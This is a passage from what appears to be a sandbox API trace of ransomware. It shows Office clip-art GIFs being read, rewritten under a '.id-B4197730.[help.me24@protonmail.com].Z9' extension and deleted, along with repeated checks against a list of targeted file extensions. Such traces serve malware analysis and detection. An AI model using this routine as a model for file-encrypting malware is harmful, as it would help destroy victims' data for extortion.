	[0166.282] CloseHandle (hObject=0x440) returned 1
	[0166.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220
	[0166.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.283] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.283] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.284] GetLastError () returned 0x0
	[0166.284] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x8ada, lpOverlapped=0x0) returned 1
	[0166.317] WriteFile (in: hFile=0x47c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x8ae0, lpOverlapped=0x0) returned 1
	[0166.319] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.319] WriteFile (in: hFile=0x47c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.319] SetEndOfFile (hFile=0x47c) returned 1
	[0166.319] CloseHandle (hObject=0x47c) returned 1
	[0166.319] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.319] SetEndOfFile (hFile=0x440) returned 1
	[0166.409] CloseHandle (hObject=0x440) returned 1
	[0166.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1
	[0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.756] lstrlenW (lpString=".doc") returned 4
	[0166.756] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.756] lstrlenW (lpString=".docx") returned 5
	[0166.756] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0166.756] lstrlenW (lpString=".pdf") returned 4
	[0166.756] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.756] lstrlenW (lpString=".xls") returned 4
	[0166.756] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.756] lstrlenW (lpString=".xlsx") returned 5
	[0166.756] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0166.756] lstrlenW (lpString=".ppt") returned 4
	[0166.756] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.756] lstrlenW (lpString=".zip") returned 4
	[0166.756] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.756] lstrlenW (lpString=".rar") returned 4
	[0166.756] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.757] lstrlenW (lpString=".bz2") returned 4
	[0166.757] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.757] lstrlenW (lpString=".7z") returned 3
	[0166.757] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.757] lstrlenW (lpString=".dbf") returned 4
	[0166.757] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.757] lstrlenW (lpString=".1cd") returned 4
	[0166.757] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.757] lstrlenW (lpString=".jpg") returned 4
	[0166.757] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.757] lstrlenW (lpString=".doc") returned 4
	[0166.757] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.757] lstrlenW (lpString=".docx") returned 5
	[0166.757] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0166.757] lstrlenW (lpString=".pdf") returned 4
	[0166.757] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.757] lstrlenW (lpString=".xls") returned 4
	[0166.757] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.757] lstrlenW (lpString=".xlsx") returned 5
	[0166.757] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0166.757] lstrlenW (lpString=".ppt") returned 4
	[0166.757] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.757] lstrlenW (lpString=".zip") returned 4
	[0166.757] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.757] lstrlenW (lpString=".rar") returned 4
	[0166.757] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.757] lstrlenW (lpString=".bz2") returned 4
	[0166.757] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.757] lstrlenW (lpString=".7z") returned 3
	[0166.758] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.758] lstrlenW (lpString=".dbf") returned 4
	[0166.758] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.758] lstrlenW (lpString=".1cd") returned 4
	[0166.758] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0166.758] lstrlenW (lpString=".jpg") returned 4
	[0166.758] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.758] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.758] lstrlenW (lpString="J0099198.GIF") returned 12
	[0166.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.758] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=5259) returned 1
	[0166.759] CloseHandle (hObject=0x4cc) returned 1
	[0166.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220
	[0166.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.759] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.759] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.760] GetLastError () returned 0x0
	[0166.760] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x148b, lpOverlapped=0x0) returned 1
	[0166.762] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0166.765] ReadFile (in: hFile=0x4cc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.765] WriteFile (in: hFile=0x440, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.765] SetEndOfFile (hFile=0x440) returned 1
	[0166.765] CloseHandle (hObject=0x440) returned 1
	[0166.765] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.765] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.768] CloseHandle (hObject=0x4cc) returned 1
	[0166.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1
	[0166.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.769] lstrlenW (lpString=".doc") returned 4
	[0166.769] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.769] lstrlenW (lpString=".docx") returned 5
	[0166.769] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0166.769] lstrlenW (lpString=".pdf") returned 4
	[0166.769] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.769] lstrlenW (lpString=".xls") returned 4
	[0166.769] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.769] lstrlenW (lpString=".xlsx") returned 5
	[0166.769] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0166.769] lstrlenW (lpString=".ppt") returned 4
	[0166.769] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.769] lstrlenW (lpString=".zip") returned 4
	[0166.769] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.769] lstrlenW (lpString=".rar") returned 4
	[0166.769] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.769] lstrlenW (lpString=".bz2") returned 4
	[0166.769] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.769] lstrlenW (lpString=".7z") returned 3
	[0166.769] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.770] lstrlenW (lpString=".dbf") returned 4
	[0166.770] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.770] lstrlenW (lpString=".1cd") returned 4
	[0166.770] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.770] lstrlenW (lpString=".jpg") returned 4
	[0166.770] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.770] lstrlenW (lpString=".doc") returned 4
	[0166.770] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.770] lstrlenW (lpString=".docx") returned 5
	[0166.770] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0166.770] lstrlenW (lpString=".pdf") returned 4
	[0166.770] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.770] lstrlenW (lpString=".xls") returned 4
	[0166.770] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.770] lstrlenW (lpString=".xlsx") returned 5
	[0166.770] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0166.770] lstrlenW (lpString=".ppt") returned 4
	[0166.770] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.770] lstrlenW (lpString=".zip") returned 4
	[0166.770] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.770] lstrlenW (lpString=".rar") returned 4
	[0166.770] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.771] lstrlenW (lpString=".bz2") returned 4
	[0166.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.771] lstrlenW (lpString=".7z") returned 3
	[0166.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.771] lstrlenW (lpString=".dbf") returned 4
	[0166.771] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.771] lstrlenW (lpString=".1cd") returned 4
	[0166.771] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0166.771] lstrlenW (lpString=".jpg") returned 4
	[0166.771] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.771] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.771] lstrlenW (lpString="J0099199.GIF") returned 12
	[0166.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.773] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=33975) returned 1
	[0166.774] CloseHandle (hObject=0x440) returned 1
	[0166.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220
	[0166.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.774] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.774] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0166.775] GetLastError () returned 0x0
	[0166.775] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x84b7, lpOverlapped=0x0) returned 1
	[0166.779] WriteFile (in: hFile=0x4b8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x84c0, lpOverlapped=0x0) returned 1
	[0166.911] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.911] WriteFile (in: hFile=0x4b8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.911] SetEndOfFile (hFile=0x4b8) returned 1
	[0166.911] CloseHandle (hObject=0x4b8) returned 1
	[0166.912] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.912] SetEndOfFile (hFile=0x440) returned 1
	[0167.021] CloseHandle (hObject=0x440) returned 1
	[0167.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1
	[0167.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.023] lstrlenW (lpString=".doc") returned 4
	[0167.023] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.023] lstrlenW (lpString=".docx") returned 5
	[0167.023] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1
	[0167.023] lstrlenW (lpString=".pdf") returned 4
	[0167.023] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.023] lstrlenW (lpString=".xls") returned 4
	[0167.023] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.023] lstrlenW (lpString=".xlsx") returned 5
	[0167.023] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1
	[0167.023] lstrlenW (lpString=".ppt") returned 4
	[0167.023] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.023] lstrlenW (lpString=".zip") returned 4
	[0167.023] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.023] lstrlenW (lpString=".rar") returned 4
	[0167.023] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.023] lstrlenW (lpString=".bz2") returned 4
	[0167.024] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.024] lstrlenW (lpString=".7z") returned 3
	[0167.024] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.024] lstrlenW (lpString=".dbf") returned 4
	[0167.024] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.024] lstrlenW (lpString=".1cd") returned 4
	[0167.024] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.024] lstrlenW (lpString=".jpg") returned 4
	[0167.024] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.024] lstrlenW (lpString=".doc") returned 4
	[0167.024] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.024] lstrlenW (lpString=".docx") returned 5
	[0167.024] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1
	[0167.024] lstrlenW (lpString=".pdf") returned 4
	[0167.024] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.024] lstrlenW (lpString=".xls") returned 4
	[0167.024] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.024] lstrlenW (lpString=".xlsx") returned 5
	[0167.024] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1
	[0167.024] lstrlenW (lpString=".ppt") returned 4
	[0167.024] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.024] lstrlenW (lpString=".zip") returned 4
	[0167.024] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.024] lstrlenW (lpString=".rar") returned 4
	[0167.024] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.024] lstrlenW (lpString=".bz2") returned 4
	[0167.024] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.024] lstrlenW (lpString=".7z") returned 3
	[0167.025] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.025] lstrlenW (lpString=".dbf") returned 4
	[0167.025] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.025] lstrlenW (lpString=".1cd") returned 4
	[0167.025] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0167.025] lstrlenW (lpString=".jpg") returned 4
	[0167.025] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.025] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0167.025] lstrlenW (lpString="J0099202.GIF") returned 12
	[0167.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
